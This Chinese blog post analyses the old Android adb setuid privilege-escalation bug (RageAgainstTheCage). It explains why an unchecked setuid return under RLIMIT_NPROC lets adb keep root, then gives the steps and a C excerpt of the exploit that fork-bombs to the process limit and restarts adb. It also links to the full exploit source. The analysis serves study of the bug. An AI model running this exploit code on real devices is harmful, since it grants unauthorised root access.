Root exploit for Android (adb setuid)

/*

本文章由 莫灰灰 编写,转载请注明出处。  

作者:莫灰灰    邮箱: [email protected]

*/

1. 漏洞分析

这是个很老的漏洞了,主要利用adb启动的时候调用setuid函数降到shell权限,却没有判断setuid返回失败的情况,因此造成了root的可能

如下是已经修复漏洞后的代码:

Root exploit for Android (adb setuid)_第1张图片

原本的代码大致如下:

setgid(AID_SHELL);
setuid(AID_SHELL);

而setxid等函数的实现,其中有如下一段代码,即shell进程的数量如果达到了RLIMIT_NPROC的数量,那么set函数就会返回失败,因此降权也就失败了。

if (atomic_read(&new_user->processes) >= rlimit(RLIMIT_NPROC) &&
        new_user != INIT_USER) {
    free_uid(new_user);
    return -EAGAIN;
}



2. PoC

1.子进程中一直调用fork函数去增加shell进程,然后调用exit去退出它,以此造成了很多的僵尸进程。

2.fork失败后,表明shell进程已经达到最大上限了,因此在pipe中写了一个char型数值。

3.父进程调用read pipe一直在等待fork子进程的结束,之后,fork到最大进程后,结束adb进程。

4.然后再fork一个进程抢占adb的位置。

5.等到下次adb再起来的时候,其原本是具有root权限的,而后调用setxxx函数去将权限降低到shell,但此时shell进程因为达到了最大的进程数,于是,调用setxxx函数会失败,adb进程也就保留了root权限。

if (fork() == 0) {
		close(pepe[0]);
		for (;;) {
			if ((p = fork()) == 0) {
				exit(0);
			} else if (p < 0) {
				if (new_pids) {
					printf("\n[+] Forked %d childs.\n", pids);
					new_pids = 0;
					write(pepe[1], &c, 1);
					close(pepe[1]);
				}
			} else {
				++pids;
			}
		}
	}

	close(pepe[1]);
	read(pepe[0], &c, 1);

	restart_adb(adb_pid);

	if (fork() == 0) {
		fork();
		for (;;)
			sleep(0x743C);
	}

	wait_for_root_adb(adb_pid);

利用代码:http://blog.claudxiao.net/wp-content/uploads/2011/04/rageagainstthecage.c


你可能感兴趣的:(android,adb,exploit,setuid)